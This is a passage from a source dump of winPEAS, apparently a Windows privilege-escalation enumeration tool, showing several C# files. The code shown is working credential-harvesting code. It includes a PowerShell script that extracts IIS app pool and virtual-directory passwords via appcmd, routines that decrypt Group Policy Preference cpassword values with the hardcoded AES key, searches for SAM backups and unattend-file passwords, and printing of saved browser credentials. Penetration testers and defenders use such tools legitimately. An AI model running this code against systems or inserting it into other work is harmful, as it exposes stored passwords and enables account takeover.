\"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\", \"AltDefaultPassword\")\n            };\n            return results;\n        }\n\n        // From: https://stackoverflow.com/questions/35867427/read-text-from-clipboard\n        public static string GetClipboardText()\n        {\n            string clipboardText = \"\";\n            Exception clipboardException = null;\n\n            Thread clipboardThread = new Thread(() =>\n            {\n                try\n                {\n                    if (Clipboard.ContainsText(TextDataFormat.Text))\n                        clipboardText = Clipboard.GetText(TextDataFormat.Text);\n\n                    else if (Clipboard.ContainsText(TextDataFormat.Html))\n                        clipboardText = Clipboard.GetText(TextDataFormat.Html);\n\n                    else if (Clipboard.ContainsAudio())\n                        clipboardText = $\"{Clipboard.GetAudioStream()}\";\n\n                    else if (Clipboard.ContainsFileDropList())\n                        clipboardText = $\"{Clipboard.GetFileDropList()}\";\n\n                    //else if (Clipboard.ContainsImage()) //No system.Drwing import\n                    //clipboardText = string.Format(\"{0}\", Clipboard.GetImage());\n                }\n                catch (Exception ex)\n                {\n                    clipboardException = ex;\n                }\n            });\n\n            clipboardThread.SetApartmentState(ApartmentState.STA);\n            clipboardThread.IsBackground = true;\n            clipboardThread.Start();\n\n            if (!clipboardThread.Join(ClipboardReadTimeoutMs))\n            {\n                Beaprint.GrayPrint($\"  [X] Clipboard read timed out after {ClipboardReadTimeoutMs}ms\");\n                return \"\";\n            }\n\n            if (clipboardException != null)\n                Beaprint.GrayPrint(string.Format(\"  [X] Exception: {0}\", clipboardException));\n\n            return clipboardText;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/AppCmd/AppCmd.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.WindowsCreds.AppCmd\n{\n    class AppCmd\n    {\n        const string ExtractAppCmdCredsScript = @\"  \n                # Check if appcmd.exe exists\n                if (Test-Path  ('%APPCMD%')) {\n                    # Create data table to house results\n                    $DataTable = New-Object System.Data.DataTable\n\n                    # Create and name columns in the data table\n                    $Null = $DataTable.Columns.Add('user')\n                    $Null = $DataTable.Columns.Add('pass')\n                    $Null = $DataTable.Columns.Add('type')\n                    $Null = $DataTable.Columns.Add('vdir')\n                    $Null = $DataTable.Columns.Add('apppool')\n\n                    # Get list of application pools\n                    Invoke-Expression '%APPCMD% list apppools /text:name' | ForEach-Object {\n\n                        # Get application pool name\n                        $PoolName = $_\n\n                        # Get username\n                        $PoolUserCmd = '%APPCMD% list apppool ' + $PoolName + ' /text:processmodel.username'\n                        $PoolUser = Invoke-Expression $PoolUserCmd\n\n                        # Get password\n                        $PoolPasswordCmd = '%APPCMD% list apppool ' + $PoolName + ' /text:processmodel.password'\n                        $PoolPassword = Invoke-Expression $PoolPasswordCmd\n\n                        # Check if credentials exists\n                        if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) {\n                            # Add credentials to database\n                            $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)\n                        }\n                    }\n\n                    # Get list of virtual directories\n                    Invoke-Expression '%APPCMD% list vdir /text:vdir.name' | ForEach-Object {\n\n                        # Get Virtual Directory Name\n                        $VdirName = $_\n\n                        # Get username\n                        $VdirUserCmd = '%APPCMD% list vdir ' + $VdirName + ' /text:userName'\n                        $VdirUser = Invoke-Expression $VdirUserCmd\n\n                        # Get password\n                        $VdirPasswordCmd = '%APPCMD% list vdir ' + $VdirName + ' /text:password'\n                        $VdirPassword = Invoke-Expression $VdirPasswordCmd\n\n                        # Check if credentials exists\n                        if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) {\n                            # Add credentials to database\n                            $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')\n                        }\n                    }\n\n                    # Check if any passwords were found\n                    if( $DataTable.rows.Count -gt 0 ) {\n                        # Display results in list view that can feed into the pipeline\n                        #$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique\n                        $DataTable | Select-Object user,pass,type,vdir,apppool\n                    }\n                    else {\n                        # Status user\n                        Write-host 'No application pool or virtual directory passwords were found.'                        \n                    }\n                }\n            \";\n\n        public static string GetExtractAppCmdCredsPowerShellScript()\n        {\n            var appCmdPath = Environment.ExpandEnvironmentVariables(@\"%systemroot%\\system32\\inetsrv\\appcmd.exe\");\n\n            return ExtractAppCmdCredsScript.Replace(\"%APPCMD%\", appCmdPath);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RDPClientSettings.cs",
    "content": "﻿namespace winPEAS.Info.WindowsCreds\n{\n    internal class RDPClientSettings\n    {\n        public bool RestrictedRemoteAdministration { get; }\n        public uint? RestrictedRemoteAdministrationType { get; }\n        public uint? ServerAuthLevel { get; }\n        public bool DisablePasswordSaving { get; }\n\n        public RDPClientSettings(\n            bool restrictedRemoteAdministration,\n            uint? restrictedRemoteAdministrationType,\n            uint? serverAuthLevel,\n            bool disablePasswordSaving)\n        {\n            RestrictedRemoteAdministration = restrictedRemoteAdministration;\n            RestrictedRemoteAdministrationType = restrictedRemoteAdministrationType;\n            ServerAuthLevel = serverAuthLevel;\n            DisablePasswordSaving = disablePasswordSaving;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RDPServerSettings.cs",
    "content": "﻿namespace winPEAS.Info.WindowsCreds\n{\n    internal class RDPServerSettings\n    {\n        public uint? NetworkLevelAuthentication { get; }\n        public uint? BlockClipboardRedirection { get; }\n        public uint? BlockComPortRedirection { get; }\n        public uint? BlockDriveRedirection { get; }\n        public uint? BlockLptPortRedirection { get; }\n        public uint? AllowSmartCardRedirection { get; }\n        public uint? BlockPnPDeviceRedirection { get; }\n        public uint? BlockPrinterRedirection { get; }\n\n        public RDPServerSettings(\n            uint? networkLevelAuthentication,\n            uint? blockClipboardRedirection,\n            uint? blockComPortRedirection,\n            uint? blockDriveRedirection,\n            uint? blockLptPortRedirection,\n            uint? allowSmartCardRedirection,\n            uint? blockPnPDeviceRedirection,\n            uint? blockPrinterRedirection)\n        {\n            NetworkLevelAuthentication = networkLevelAuthentication;\n            BlockClipboardRedirection = blockClipboardRedirection;\n            BlockComPortRedirection = blockComPortRedirection;\n            BlockDriveRedirection = blockDriveRedirection;\n            BlockLptPortRedirection = blockLptPortRedirection;\n            AllowSmartCardRedirection = allowSmartCardRedirection;\n            BlockPnPDeviceRedirection = blockPnPDeviceRedirection;\n            BlockPrinterRedirection = blockPrinterRedirection;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RDPSettingsInfo.cs",
    "content": "﻿\nnamespace winPEAS.Info.WindowsCreds\n{\n    internal class RDPSettingsInfo\n    {\n        public RDPClientSettings ClientSettings { get; }\n        public RDPServerSettings ServerSettings { get; }\n\n        public RDPSettingsInfo(\n            RDPClientSettings clientSettings,\n            RDPServerSettings serverSettings)\n        {\n            ClientSettings = clientSettings;\n            ServerSettings = serverSettings;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RemoteDesktop.cs",
    "content": "﻿using winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Info.WindowsCreds\n{\n    internal class RemoteDesktop\n    {\n        public static RDPSettingsInfo GetRDPSettingsInfo()\n        {\n            // Client settings\n            var credDelegKey = @\"Software\\Policies\\Microsoft\\Windows\\CredentialsDelegation\";\n            var restrictedAdmin = RegistryHelper.GetDwordValue(\"HKLM\", credDelegKey, \"RestrictedRemoteAdministration\");\n            var restrictedAdminType = RegistryHelper.GetDwordValue(\"HKLM\", credDelegKey, \"RestrictedRemoteAdministrationType\");\n            var serverAuthLevel = RegistryHelper.GetDwordValue(\"HKLM\", @\"SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services\", \"AuthenticationLevel\");\n            var termServKey = @\"SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services\";\n            var disablePwSaving = RegistryHelper.GetDwordValue(\"HKLM\", termServKey, \"DisablePasswordSaving\");\n\n            // Server settings\n            var nla = RegistryHelper.GetDwordValue(\"HKLM\", termServKey, \"UserAuthentication\");\n            var blockClipboard = RegistryHelper.GetDwordValue(\"HKLM\", termServKey, \"fDisableClip\");\n            var blockComPort = RegistryHelper.GetDwordValue(\"HKLM\", termServKey, \"fDisableCcm\");\n            var blockDrives = RegistryHelper.GetDwordValue(\"HKLM\", termServKey, \"fDisableCdm\");\n            var blockLptPort = RegistryHelper.GetDwordValue(\"HKLM\", termServKey, \"fDisableLPT\");\n            var blockSmartCard = RegistryHelper.GetDwordValue(\"HKLM\", termServKey, \"fEnableSmartCard\");\n            var blockPnp = RegistryHelper.GetDwordValue(\"HKLM\", termServKey, \"fDisablePNPRedir\");\n            var blockPrinters = RegistryHelper.GetDwordValue(\"HKLM\", termServKey, \"fDisableCpm\");\n\n            return new RDPSettingsInfo(\n                new RDPClientSettings(\n                    restrictedAdmin != null && restrictedAdmin != 0,\n                    restrictedAdminType,\n                    serverAuthLevel,\n                    disablePwSaving == null || disablePwSaving == 1),\n                new RDPServerSettings(\n                        nla,\n                        blockClipboard,\n                        blockComPort,\n                        blockDrives,\n                        blockLptPort,\n                        blockSmartCard,\n                        blockPnp,\n                        blockPrinters\n                    )\n            );\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/InterestingFiles/GPP.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Security.Cryptography;\nusing System.Xml;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Search;\n\nnamespace winPEAS.InterestingFiles\n{\n    internal static class GPP\n    {\n        public static Dictionary<string, Dictionary<string, string>> GetCachedGPPPassword()\n        {  //From SharpUP\n            Dictionary<string, Dictionary<string, string>> results = new Dictionary<string, Dictionary<string, string>>();\n\n            try\n            {\n                string allUsers = Environment.GetEnvironmentVariable(\"ALLUSERSPROFILE\");\n\n                if (!allUsers.Contains(\"ProgramData\"))\n                {\n                    // Before Windows Vista, the default value of AllUsersProfile was \"C:\\Documents and Settings\\All Users\"\n                    // And after, \"C:\\ProgramData\"\n                    allUsers += \"\\\\Application Data\";\n                }\n                allUsers += \"\\\\Microsoft\\\\Group Policy\\\\History\"; // look only in the GPO cache folder\n\n                //List<string> files = SearchHelper.FindFiles(allUsers, \"*.xml\");\n                List<string> files = SearchHelper.FindCachedGPPPassword();\n\n                // files will contain all XML files\n                foreach (string file in files)\n                {\n                    if (!(file.Contains(\"Groups.xml\") || file.Contains(\"Services.xml\")\n                        || file.Contains(\"Scheduledtasks.xml\") || file.Contains(\"DataSources.xml\")\n                        || file.Contains(\"Printers.xml\") || file.Contains(\"Drives.xml\")))\n                    {\n                        continue; // uninteresting XML files, move to next\n                    }\n\n                    XmlDocument xmlDoc = new XmlDocument();\n                    xmlDoc.Load(file);\n\n                    if (!xmlDoc.InnerXml.Contains(\"cpassword\"))\n                    {\n                        continue; // no \"cpassword\" => no interesting content, move to next\n                    }\n\n                    Console.WriteLine(\"\\r\\n{0}\", file);\n\n                    string cPassword = \"\";\n                    string UserName = \"\";\n                    string NewName = \"\";\n                    string Changed = \"\";\n                    if (file.Contains(\"Groups.xml\"))\n                    {\n                        XmlNode a = xmlDoc.SelectSingleNode(\"/Groups/User/Properties\");\n                        XmlNode b = xmlDoc.SelectSingleNode(\"/Groups/User\");\n                        foreach (XmlAttribute attr in a.Attributes)\n                        {\n                            if (attr.Name.Equals(\"cpassword\"))\n                            {\n                                cPassword = attr.Value;\n                            }\n                            if (attr.Name.Equals(\"userName\"))\n                            {\n                                UserName = attr.Value;\n                            }\n                            if (attr.Name.Equals(\"newName\"))\n                            {\n                                NewName = attr.Value;\n                            }\n                        }\n                        foreach (XmlAttribute attr in b.Attributes)\n                        {\n                            if (attr.Name.Equals(\"changed\"))\n                            {\n                                Changed = attr.Value;\n                            }\n                        }\n                        //Console.WriteLine(\"\\r\\nA{0}\", a.Attributes[0].Value);\n                    }\n                    else if (file.Contains(\"Services.xml\"))\n                    {\n                        XmlNode a = xmlDoc.SelectSingleNode(\"/NTServices/NTService/Properties\");\n                        XmlNode b = xmlDoc.SelectSingleNode(\"/NTServices/NTService\");\n                        foreach (XmlAttribute attr in a.Attributes)\n                        {\n                            if (attr.Name.Equals(\"cpassword\"))\n                            {\n                                cPassword = attr.Value;\n                            }\n                            if (attr.Name.Equals(\"accountName\"))\n                            {\n                                UserName = attr.Value;\n                            }\n                        }\n                        foreach (XmlAttribute attr in b.Attributes)\n                        {\n                            if (attr.Name.Equals(\"changed\"))\n                            {\n                                Changed = attr.Value;\n                            }\n                        }\n\n                    }\n                    else if (file.Contains(\"Scheduledtasks.xml\"))\n                    {\n                        XmlNode a = xmlDoc.SelectSingleNode(\"/ScheduledTasks/Task/Properties\");\n                        XmlNode b = xmlDoc.SelectSingleNode(\"/ScheduledTasks/Task\");\n                        foreach (XmlAttribute attr in a.Attributes)\n                        {\n                            if (attr.Name.Equals(\"cpassword\"))\n                            {\n                                cPassword = attr.Value;\n                            }\n                            if (attr.Name.Equals(\"runAs\"))\n                            {\n                                UserName = attr.Value;\n                            }\n                        }\n                        foreach (XmlAttribute attr in b.Attributes)\n                        {\n                            if (attr.Name.Equals(\"changed\"))\n                            {\n                                Changed = attr.Value;\n                            }\n                        }\n\n                    }\n                    else if (file.Contains(\"DataSources.xml\"))\n                    {\n                        XmlNode a = xmlDoc.SelectSingleNode(\"/DataSources/DataSource/Properties\");\n                        XmlNode b = xmlDoc.SelectSingleNode(\"/DataSources/DataSource\");\n                        foreach (XmlAttribute attr in a.Attributes)\n                        {\n                            if (attr.Name.Equals(\"cpassword\"))\n                            {\n                                cPassword = attr.Value;\n                            }\n                            if (attr.Name.Equals(\"username\"))\n                            {\n                                UserName = attr.Value;\n                            }\n                        }\n                        foreach (XmlAttribute attr in b.Attributes)\n                        {\n                            if (attr.Name.Equals(\"changed\"))\n                            {\n                                Changed = attr.Value;\n                            }\n                        }\n                    }\n                    else if (file.Contains(\"Printers.xml\"))\n                    {\n                        XmlNode a = xmlDoc.SelectSingleNode(\"/Printers/SharedPrinter/Properties\");\n                        XmlNode b = xmlDoc.SelectSingleNode(\"/Printers/SharedPrinter\");\n                        foreach (XmlAttribute attr in a.Attributes)\n                        {\n                            if (attr.Name.Equals(\"cpassword\"))\n                            {\n                                cPassword = attr.Value;\n                            }\n                            if (attr.Name.Equals(\"username\"))\n                            {\n                                UserName = attr.Value;\n                            }\n                        }\n                        foreach (XmlAttribute attr in b.Attributes)\n                        {\n                            if (attr.Name.Equals(\"changed\"))\n                            {\n                                Changed = attr.Value;\n                            }\n                        }\n                    }\n                    else\n                    {\n                        // Drives.xml\n                        XmlNode a = xmlDoc.SelectSingleNode(\"/Drives/Drive/Properties\");\n                        XmlNode b = xmlDoc.SelectSingleNode(\"/Drives/Drive\");\n                        foreach (XmlAttribute attr in a.Attributes)\n                        {\n                            if (attr.Name.Equals(\"cpassword\"))\n                            {\n                                cPassword = attr.Value;\n                            }\n                            if (attr.Name.Equals(\"username\"))\n                            {\n                                UserName = attr.Value;\n                            }\n                        }\n                        foreach (XmlAttribute attr in b.Attributes)\n                        {\n                            if (attr.Name.Equals(\"changed\"))\n                            {\n                                Changed = attr.Value;\n                            }\n                        }\n\n                    }\n\n                    if (UserName.Equals(\"\"))\n                    {\n                        UserName = \"[BLANK]\";\n                    }\n\n                    if (NewName.Equals(\"\"))\n                    {\n                        NewName = \"[BLANK]\";\n                    }\n\n\n                    if (cPassword.Equals(\"\"))\n                    {\n                        cPassword = \"[BLANK]\";\n                    }\n                    else\n                    {\n                        cPassword = DecryptGPP(cPassword);\n                    }\n\n                    if (Changed.Equals(\"\"))\n                    {\n                        Changed = \"[BLANK]\";\n                    }\n\n                    results[file] = new Dictionary<string, string>\n                    {\n                        [\"UserName\"] = UserName,\n                        [\"NewName\"] = NewName,\n                        [\"cPassword\"] = cPassword,\n                        [\"Changed\"] = Changed\n                    };\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        private static string DecryptGPP(string cPassword)\n        {\n            //From SharpUP\n            int mod = cPassword.Length % 4;\n\n            switch (mod)\n            {\n                case 1:\n                    cPassword = cPassword.Substring(0, cPassword.Length - 1);\n                    break;\n                case 2:\n                    cPassword += \"\".PadLeft(4 - mod, '=');\n                    break;\n                case 3:\n                    cPassword += \"\".PadLeft(4 - mod, '=');\n                    break;\n            }\n\n            byte[] base64decoded = Convert.FromBase64String(cPassword);\n\n            AesCryptoServiceProvider aesObject = new AesCryptoServiceProvider();\n\n            byte[] aesKey = { 0x4e, 0x99, 0x06, 0xe8, 0xfc, 0xb6, 0x6c, 0xc9, 0xfa, 0xf4, 0x93, 0x10, 0x62, 0x0f,\n                0xfe, 0xe8, 0xf4, 0x96, 0xe8, 0x06, 0xcc, 0x05, 0x79, 0x90, 0x20, 0x9b, 0x09, 0xa4, 0x33, 0xb6, 0x6c, 0x1b };\n            byte[] aesIV = new byte[aesObject.IV.Length];\n\n            aesObject.IV = aesIV;\n            aesObject.Key = aesKey;\n\n            ICryptoTransform aesDecryptor = aesObject.CreateDecryptor();\n            byte[] outBlock = aesDecryptor.TransformFinalBlock(base64decoded, 0, base64decoded.Length);\n\n            return System.Text.Encoding.Unicode.GetString(outBlock);\n        }\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/InterestingFiles/InterestingFiles.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Runtime.InteropServices;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Search;\n\nnamespace winPEAS.InterestingFiles\n{\n    internal static class InterestingFiles\n    {\n        public static List<string> GetSAMBackups()\n        {\n            //From SharpUP\n            var results = new List<string>();\n\n            try\n            {\n                string systemRoot = Environment.GetEnvironmentVariable(\"SystemRoot\");\n                string[] searchLocations =\n                {\n                    $@\"{systemRoot}\\repair\\SAM\",\n                    $@\"{systemRoot}\\System32\\config\\RegBack\\SAM\",\n                    //$@\"{0}\\System32\\config\\SAM\"\n                    $@\"{systemRoot}\\repair\\SYSTEM\",\n                    //$@\"{0}\\System32\\config\\SYSTEM\", systemRoot),\n                    $@\"{systemRoot}\\System32\\config\\RegBack\\SYSTEM\",\n                };\n\n                results.AddRange(searchLocations.Where(searchLocation => File.Exists(searchLocation)));\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        public static List<string> GetLinuxShells()\n        {\n            var results = new List<string>();\n\n            try\n            {\n                string drive = Environment.GetEnvironmentVariable(\"SystemDrive\");\n\n                string[] searchDirs =\n                {\n                    $@\"{drive}\\Windows\\SysNative\\\",\n                    $@\"{drive}\\Windows\\System32\\\",\n                };\n\n                string[] fileNames =\n                {\n                    \"wsl.exe\",\n                    \"bash.exe\",\n                };\n\n                var searchLocations = (from searchDir in searchDirs\n                                       from fileName in fileNames\n                                       select Path.Combine(searchDir, fileName)).ToList();\n\n                results.AddRange(searchLocations.Where(File.Exists));\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n\n        public static List<string> ListUsersDocs()\n        {\n            List<string> results = new List<string>();\n            try\n            {\n                if (MyUtils.IsHighIntegrity())\n                {\n                    results = SearchHelper.SearchUsersDocs();\n                }\n                else\n                {\n                    results = SearchHelper.SearchCurrentUserDocs();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error: \" + ex);\n            }\n            return results;\n        }\n\n        public static List<Dictionary<string, string>> GetRecycleBin()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            try\n            {\n                // lists recently deleted files (needs to be run from a user context!)\n\n                // Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files\n                int lastDays = 30;\n\n                var startTime = DateTime.Now.AddDays(-lastDays);\n\n                // Shell COM object GUID\n                Type shell = Type.GetTypeFromCLSID(new Guid(\"13709620-C279-11CE-A49E-444553540000\"));\n                object shellObj = Activator.CreateInstance(shell);\n\n                // namespace for recycle bin == 10 - https://msdn.microsoft.com/en-us/library/windows/desktop/bb762494(v=vs.85).aspx\n                object recycle = ReflectionHelper.InvokeMemberMethod(shellObj, \"Namespace\", new object[] { 10 });\n                // grab all the deletes items\n                object items = ReflectionHelper.InvokeMemberMethod(recycle, \"Items\");\n                // grab the number of deleted items\n                object count = ReflectionHelper.InvokeMemberProperty(items, \"Count\");\n                int deletedCount = Int32.Parse(count.ToString());\n\n                // iterate through each item\n                for (int i = 0; i < deletedCount; i++)\n                {\n                    // grab the specific deleted item\n                    object item = ReflectionHelper.InvokeMemberMethod(items, \"Item\", new object[] { i });\n                    object dateDeleted = ReflectionHelper.InvokeMemberMethod(item, \"ExtendedProperty\", new object[] { \"System.Recycle.DateDeleted\" });\n                    DateTime modifiedDate = DateTime.Parse(dateDeleted.ToString());\n                    if (modifiedDate > startTime)\n                    {\n                        // additional extended properties from https://blogs.msdn.microsoft.com/oldnewthing/20140421-00/?p=1183\n                        object name = ReflectionHelper.InvokeMemberProperty(item, \"Name\");\n                        object path = ReflectionHelper.InvokeMemberProperty(item, \"Path\");\n                        object size = ReflectionHelper.InvokeMemberProperty(item, \"Size\");\n                        object deletedFrom = ReflectionHelper.InvokeMemberMethod(item, \"ExtendedProperty\", new object[] { \"System.Recycle.DeletedFrom\" });\n                        results.Add(new Dictionary<string, string>()\n                    {\n                        { \"Name\", name.ToString() },\n                        { \"Path\", path.ToString() },\n                        { \"Size\", size.ToString() },\n                        { \"Deleted from\", deletedFrom.ToString() },\n                        { \"Date Deleted\", dateDeleted.ToString() }\n                    });\n                    }\n                    Marshal.ReleaseComObject(item);\n                    item = null;\n                }\n                Marshal.ReleaseComObject(recycle);\n                recycle = null;\n                Marshal.ReleaseComObject(shellObj);\n                shellObj = null;\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error: \" + ex);\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/InterestingFiles/Unattended.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.InterestingFiles\n{\n    internal static class Unattended\n    {\n        public static List<string> ExtractUnattendedPwd(string path)\n        {\n            List<string> results = new List<string>();\n\n            try\n            {\n                string text = File.ReadAllText(path);\n                text = text.Replace(\"\\n\", \"\");\n                text = text.Replace(\"\\r\", \"\");\n                Regex regex = new Regex(@\"<Password>.*</Password>\");\n\n                foreach (Match match in regex.Matches(text))\n                {\n                    results.Add(match.Value);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n\n            return results;\n        }\n\n        public static List<string> GetUnattendedInstallFiles()\n        {\n            //From SharpUP\n            var results = new List<string>();\n\n            try\n            {\n                var winDir = Environment.GetEnvironmentVariable(\"windir\");\n                string[] searchLocations =\n                {\n                    $\"{winDir}\\\\sysprep\\\\sysprep.xml\",\n                    $\"{winDir}\\\\sysprep\\\\sysprep.inf\",\n                    $\"{winDir}\\\\sysprep.inf\",\n                    $\"{winDir}\\\\Panther\\\\Unattended.xml\",\n                    $\"{winDir}\\\\Panther\\\\Unattend.xml\",\n                    $\"{winDir}\\\\Panther\\\\Unattend\\\\Unattend.xml\",\n                    $\"{winDir}\\\\Panther\\\\Unattend\\\\Unattended.xml\",\n                    $\"{winDir}\\\\System32\\\\Sysprep\\\\unattend.xml\",\n                    $\"{winDir}\\\\System32\\\\Sysprep\\\\Panther\\\\unattend.xml\",\n                    $\"{winDir}\\\\..\\\\unattend.xml\",\n                    $\"{winDir}\\\\..\\\\unattend.inf\",\n                };\n\n                results.AddRange(searchLocations.Where(File.Exists));\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Brave/Brave.cs",
    "content": "﻿using System.IO;\n\nnamespace winPEAS.KnownFileCreds.Browsers.Brave\n{\n    internal class Brave : ChromiumBase, IBrowser\n    {\n        public override string Name => \"Brave Browser\";\n\n        public override string BaseAppDataPath => Path.Combine(AppDataPath, \"..\\\\Local\\\\BraveSoftware\\\\Brave-Browser\\\\User Data\\\\Default\\\\\");\n\n        public override void PrintInfo()\n        {\n            PrintSavedCredentials();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Browser.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.KnownFileCreds.Browsers\n{\n    static class Browser\n    {\n        public static readonly List<string> CredStringsRegex = new List<string>\n        {\n            \"PASSW[a-zA-Z0-9_-]*=\",\n            \"PWD[a-zA-Z0-9_-]*=\",\n            \"USER[a-zA-Z0-9_-]*=\",\n            \"NAME=\",\n            \"&LOGIN\",\n            \"=LOGIN\",\n            \"CONTRASEÑA[a-zA-Z0-9_-]*=\",\n            \"CREDENTIAL[a-zA-Z0-9_-]*=\",\n            \"API_KEY\",\n            \"TOKEN\"\n        };\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/BrowserBase.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.Linq;\nusing winPEAS.Helpers;\nusing winPEAS.KnownFileCreds.Browsers.Models;\n\nnamespace winPEAS.KnownFileCreds.Browsers\n{\n    internal abstract class BrowserBase : IBrowser\n    {\n        public abstract string Name { get; }\n        public abstract IEnumerable<CredentialModel> GetSavedCredentials();\n        public abstract void PrintInfo();\n\n\n        public virtual void PrintSavedCredentials()\n        {\n            Beaprint.MainPrint($\"Showing saved credentials for {Name}\");\n\n            var credentials = (GetSavedCredentials() ?? new List<CredentialModel>()).ToList();\n\n            if (credentials.Count == 0)\n            {\n                Beaprint.ColorPrint(\"    Info: if no credentials were listed, you might need to close the browser and try again.\", Beaprint.ansi_color_yellow);\n            }\n\n            foreach (var credential in credentials)\n            {\n                if (!string.IsNullOrEmpty(credential.Username))\n                {\n                    Beaprint.BadPrint($\"     Url:           {credential.Url}\\n\" +\n                                      $\"     Username:      {credential.Username}\\n\" +\n                                      $\"     Password:      {credential.Password}\\n \");\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Chrome/Chrome.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Text.RegularExpressions;\nusing System.Web.Script.Serialization;\nusing winPEAS.Checks;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.KnownFileCreds.Browsers.Chrome\n{\n    internal class Chrome : ChromiumBase, IBrowser\n    {\n        public override string Name => \"Chrome\";\n\n        public override string BaseAppDataPath => Path.Combine(AppDataPath, \"..\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\\");\n\n        public override void PrintInfo()\n        {\n            PrintSavedCredentials();\n            PrintDBsChrome();\n            PrintHistBookChrome();\n        }\n\n        private static void PrintDBsChrome()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for Chrome DBs\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history\");\n                Dictionary<string, string> chromeDBs = GetChromeDbs();\n\n                if (chromeDBs.ContainsKey(\"userChromeCookiesPath\"))\n                {\n                    Beaprint.BadPrint(\"    Chrome cookies database exists at \" + chromeDBs[\"userChromeCookiesPath\"]);\n                    Beaprint.InfoPrint(\"Follow the provided link for further instructions.\");\n                }\n\n                if (chromeDBs.ContainsKey(\"userChromeLoginDataPath\"))\n                {\n                    Beaprint.BadPrint(\"    Chrome saved login database exists at \" + chromeDBs[\"userChromeCookiesPath\"]);\n                    Beaprint.InfoPrint(\"Follow the provided link for further instructions.\");\n                }\n\n                if ((!chromeDBs.ContainsKey(\"userChromeLoginDataPath\")) &&\n                    (!chromeDBs.ContainsKey(\"userChromeCookiesPath\")))\n                {\n                    Beaprint.NotFoundPrint();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintHistBookChrome()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for GET credentials in Chrome history\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history\");\n                Dictionary<string, List<string>> chromeHistBook = GetChromeHistBook();\n                List<string> history = chromeHistBook[\"history\"];\n                List<string> bookmarks = chromeHistBook[\"bookmarks\"];\n\n                if (history.Count > 0)\n                {\n                    Dictionary<string, string> colorsB = new Dictionary<string, string>()\n                    {\n                        { Globals.PrintCredStrings, Beaprint.ansi_color_bad },\n                    };\n\n                    foreach (string url in history)\n                    {\n                        if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))\n                        {\n                            Beaprint.AnsiPrint(\"    \" + url, colorsB);\n                        }\n                    }\n                    Console.WriteLine();\n\n                    int limit = 50;\n                    Beaprint.MainPrint($\"Chrome history -- limit {limit}\\n\");\n                    Beaprint.ListPrint(history.Take(limit).ToList());\n                }\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n\n                Beaprint.MainPrint(\"Chrome bookmarks\");\n                